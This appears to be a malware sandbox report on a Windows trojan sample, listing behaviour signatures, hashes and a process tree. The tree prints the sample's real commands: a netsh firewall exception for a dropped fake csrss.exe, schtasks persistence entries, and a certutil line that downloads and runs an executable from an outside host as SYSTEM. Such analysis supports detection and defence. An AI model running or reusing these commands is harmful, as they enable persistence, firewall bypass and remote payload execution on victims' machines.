Overview

overview

10

Static

static

SecuriteIn...93.exe

windows7_x64

10

SecuriteIn...93.exe

windows10_x64

10

Analysis

  • max time kernel
    17s
  • max time network
    138s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    09/11/2020, 19:53

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    SecuriteInfo.com.BehavesLike.Win32.Generic.wc.30393.exe
  • Size 3.8MB
  • Sample201109-dk54b5tpw6
  • SHA256 cb1ffa5cd81d50702ee7296cd788a66fa8d5aa422e5cb4cdaca5a2ea4322141f
  • MD5 SHA1 SHA512
Score
10/10
discoveryevasionpersistencetrojan

Malware Config

Signatures

  • Windows security bypass 2 TTPs
    evasiontrojan
  • Executes dropped EXE 2 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Loads dropped DLL 8 IoCs
  • Windows security modification 2 TTPs 12 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • JavaScript code in executable 3 IoCs
  • Modifies service 2 TTPs 5 IoCs
    persistence
  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies data under HKEY_USERS 237 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.30393.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.30393.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1944
    • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.30393.exe
      "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.30393.exe"
      2⤵
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:568
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:832
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies service
          • Modifies data under HKEY_USERS
          PID:1340
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Modifies data under HKEY_USERS
        • Suspicious use of AdjustPrivilegeToken
        PID:1780
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:1916
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:1676
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:1588

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/568-5-0x0000000000400000-0x0000000000B10000-memory.dmp
        Download

        memory/568-4-0x0000000001410000-0x0000000001421000-memory.dmp
        Download

        memory/568-3-0x0000000001060000-0x0000000001407000-memory.dmp
        Download

        memory/1652-22-0x000007FEF7430000-0x000007FEF76AA000-memory.dmp
        Download

        memory/1780-12-0x00000000010B0000-0x0000000001457000-memory.dmp
        Download

        memory/1780-13-0x0000000001460000-0x0000000001471000-memory.dmp
        Download

        memory/1944-0-0x0000000000CD0000-0x0000000001077000-memory.dmp
        Download

        memory/1944-2-0x0000000000400000-0x0000000000B10000-memory.dmp
        Download

        memory/1944-1-0x0000000001080000-0x0000000001091000-memory.dmp
        Download